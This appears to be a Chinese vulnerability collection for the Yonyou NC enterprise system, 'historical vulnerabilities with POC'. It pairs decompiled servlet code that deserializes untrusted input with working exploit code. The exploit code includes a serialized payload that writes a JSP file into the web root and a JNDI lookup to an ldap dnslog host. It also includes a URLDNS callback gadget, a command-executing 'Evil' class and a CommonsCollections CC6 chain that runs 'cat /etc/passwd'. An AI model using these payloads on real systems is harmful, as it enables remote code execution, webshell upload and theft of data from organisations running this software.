用友NC历史漏洞(含POC)

    <servlet-mapping>      <servlet-name>NCInvokerServlet</servlet-name>      <url-pattern>/service/*</url-pattern>    </servlet-mapping>        <servlet-mapping>      <servlet-name>NCInvokerServlet</servlet-name>      <url-pattern>/servlet/*</url-pattern>

    <servlet>      <servlet-name>NCInvokerServlet</servlet-name>      <servlet-class>nc.bs.framework.server.InvokerServlet</servlet-class>    </servlet>

  private void doAction(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {    String token = getParamValue(request, "security_token");    String userCode = getParamValue(request, "user_code");    if (userCode != null)      InvocationInfoProxy.getInstance().setUserCode(userCode);     if (token != null)      NetStreamContext.setToken(KeyUtil.decodeToken(token));     String pathInfo = request.getPathInfo();    log.debug("Before Invoke: " + pathInfo);    long requestTime = System.currentTimeMillis();    try {      if (pathInfo == null)        throw new ServletException("Service name is not specified, pathInfo is null");       pathInfo = pathInfo.trim();      String moduleName = null;      String serviceName = null;      if (pathInfo.startsWith("/~")) {        moduleName = pathInfo.substring(2);        int slashIndex = moduleName.indexOf("/");        if (slashIndex >= 0) {          serviceName = moduleName.substring(slashIndex);          if (slashIndex > 0) {            moduleName = moduleName.substring(0, slashIndex);          } else {            moduleName = null;          }         } else {          moduleName = null;          serviceName = pathInfo;        }       } else {        serviceName = pathInfo;      }       if (serviceName == null)        throw new ServletException("Service name is not specified");       int beginIndex = serviceName.indexOf("/");      if (beginIndex < 0 || beginIndex >= serviceName.length() - 1)        throw new ServletException("Service name is not specified");       serviceName = serviceName.substring(beginIndex + 1);      Object obj = null;      try {        obj = getServiceObject(moduleName, serviceName);      } catch (ComponentException e) {        String msg = svcNotFoundMsgFormat.format(new Object[] { serviceName });        Logger.error(msg, (Throwable)e);        throw new ServletException(msg);      }

public class MonitorServlet implements IHttpServletAdaptor {  public void doAction(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {    ObjectInputStream ois = new ObjectInputStream((InputStream)request.getInputStream());    Object input = null;    try {      input = ois.readObject();    } catch (ClassNotFoundException e) {      e.printStackTrace();    }

  public void doAction(HttpServletRequest request, HttpServletResponse response) throws Exception {    ObjectInputStream in = null;    try {      request.setCharacterEncoding("UTF-8");      response.setCharacterEncoding("UTF-8");      in = new ObjectInputStream((InputStream)request.getInputStream());      HashMap<String, String> headInfo = (HashMap<String, String>)in.readObject();

  private void handleRequest(HttpServletRequest req, HttpServletResponse resp) {    ServletInputStream servletInputStream;    ServletOutputStream servletOutputStream;    InputStream in = null;    ObjectInputStream ois = null;    FileOutputStream os = null;    OutputStream rtnos = null;    String path = "";    String fileName = "";    try {      servletInputStream = req.getInputStream();      servletOutputStream = resp.getOutputStream();      ois = new ObjectInputStream((InputStream)servletInputStream);      Map<String, Object> metaInfo = null;      metaInfo = (Map<String, Object>)ois.readObject();      path = (String)metaInfo.get("TARGET_FILE_PATH");      fileName = (String)metaInfo.get("FILE_NAME");      File outFile = new File(path, fileName);      os = new FileOutputStream(outFile);      byte[] buffer = new byte[1024];      int receiveCount = 0;      while ((receiveCount = servletInputStream.read(buffer, 0, 1024)) != -1)        os.write(buffer, 0, receiveCount);       os.flush();      servletOutputStream.write(1);

package test;
import java.io.*;import java.util.*;
public class Test{    public static void main (String[] argv) throws Exception{        Map map=new HashMap();        map.put("TARGET_FILE_PATH", "./webapps/nc_web");        map.put("FILE_NAME", "test123456.jsp");        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("1.ser"));        objectOutputStream.writeObject(map);        objectOutputStream.close();        FileOutputStream fileOutputStream = new FileOutputStream("1.ser",true);        fileOutputStream.write("test123456".getBytes());        fileOutputStream.close();    }}

nc.bs.framework.comn.serv.CommonServletDispatcher  public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {    try {      this.rmiHandler.handle((RMIContext)new HttpRMIContext(request, response));    } catch (Throwable e) {      log.error("remote service error", e);    }   }

package test;
import java.util.Properties;import nc.bs.framework.common.NCLocator;
public class Test {    public static void main(String[] args) throws Exception {        Properties env = new Properties();        env.put("SERVICEDISPATCH_URL", "http://2.2.2.2/ServiceDispatcherServlet");        NCLocator locator = NCLocator.getInstance(env);        locator.lookup("ldap://x72h8i.dnslog.cn:1389/exp");    }}

public class MxServlet implements IHttpServletAdaptor {  public void doAction(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {    try {      ObjectOutputStream oos = new ObjectOutputStream((OutputStream)response.getOutputStream());      ObjectInputStream ois = new ObjectInputStream((InputStream)request.getInputStream());      Object input = ois.readObject();      Object obj = null;

  protected void process(HttpServletRequest request, HttpServletResponse response) {    ObjectOutputStream out = null;    try {      ObjectInputStream ois = new ObjectInputStream(new GZIPInputStream((InputStream)request.getInputStream()));      String actionName = (String)ois.readObject();      String methodName = (String)ois.readObject();      Object paramter = ois.readObject();      String currentLanguage = (String)ois.readObject();      String logModule = (String)ois.readObject();

package test;import java.io.*;import java.lang.reflect.Field;import java.net.URL;import java.util.HashMap;import java.util.zip.GZIPOutputStream;

public class Urldns {    public static void main(String[] args) throws Exception {        HashMap hashMap = new HashMap();          URL url = new URL("http://x89jpk.dnslog.cn");          Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");          f.setAccessible(true);          f.set(url, 0);          hashMap.put(url, "111");          f.set(url, -1);        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.ser"));        oos.writeObject(hashMap);        oos.close();        FileInputStream inputFromFile = new FileInputStream("1.ser");        byte[] bs = new byte[inputFromFile.available()];        inputFromFile.read(bs);           GZIPOutputStream gzip = new GZIPOutputStream(new FileOutputStream("1.ser.gz"));           gzip.write(bs);           gzip.close();}}

  protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {    ObjectInputStream in = null;    ObjectOutputStream out = null;    ServletOutputStream servletOutputStream = resp.getOutputStream();    try {      out = new ObjectOutputStream((OutputStream)servletOutputStream);      in = new ObjectInputStream((InputStream)req.getInputStream());      String dsName = (String)in.readObject();      Object obj = in.readObject();

    } catch (Exception e) {      e.printStackTrace();      if (out != null) {        out.writeObject(e);      } else {        throw new ServletException(e);      }

package test;import java.io.*;
public class  Evil {    public Evil(String cmd) throws Exception {        String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};        Process process = Runtime.getRuntime().exec(cmds);        InputStream in =  process.getInputStream();        BufferedReader br = new BufferedReader(new InputStreamReader(in));        String line;        StringBuilder sb = new StringBuilder();        while ((line = br.readLine()) != null) {        sb.append(line).append("n");        }        String str = sb.toString();        throw new Exception(str);    }}

package test;import java.io.*;import java.lang.reflect.Field;import java.util.HashMap;import java.util.HashSet;import java.util.Map;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import org.mozilla.javascript.DefiningClassLoader;

public class DefineClassCC6 {    public static void main(String[] args) throws Exception {        FileInputStream inputFromFile = new FileInputStream("D:\Downloads\Evil.class");        byte[] data = new byte[inputFromFile.available()];        inputFromFile.read(data);          //DefiningClassLoader.class.newInstance().defineClass("test.Evil",bs).getDeclaredConstructor(String.class).newInstance("whoami");        Transformer[] transformers=new Transformer[]{                new ConstantTransformer(DefiningClassLoader.class),                new InvokerTransformer("newInstance", new Class[]{}, new Object[]{}),                new InvokerTransformer("defineClass", new Class[]{String.class, byte[].class}, new Object[]{"test.Evil", data}),                new InvokerTransformer("getDeclaredConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{String.class}}),                new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{                        new Object[]{"cat /etc/passwd"}})        };        Transformer transformerChain = new ChainedTransformer(transformers);        Map innerMap = new HashMap();        Map lazyMap = LazyMap.decorate(innerMap, transformerChain);        TiedMapEntry entry = new TiedMapEntry(lazyMap, java.lang.Runtime.class);        HashSet map = new HashSet(1);        map.add("foo");        HashMap innimpl = (HashMap) getFieldValue(map, "map");        Object array[] = (Object[])(Object[])getFieldValue(innimpl, "table");        Object node;        try {            node = array[1];        } catch (Exception e) {            node = array[0];        }        setFieldValue(node, "key", entry);
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.ser"));        oos.writeObject(map);          ObjectInputStream ois = new ObjectInputStream(new FileInputStream("1.ser"));        ois.readObject();
    }    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {        Field field = obj.getClass().getDeclaredField(fieldName);        field.setAccessible(true);        field.set(obj, value);    }    public static Object getFieldValue(Object obj, String fieldName) throws Exception {        Field field = obj.getClass().getDeclaredField(fieldName);        field.setAccessible(true);        return field.get(obj);    }}

public class ShowAlertFileServlet extends HttpServlet {  protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {    String pk_file = req.getParameter("fileName");    String dsname = req.getParameter("dsName");    String targetServlet = FileStorageClient.getInstance().getDownloadURL(null, pk_file);    resp.sendRedirect(targetServlet.toString());  }}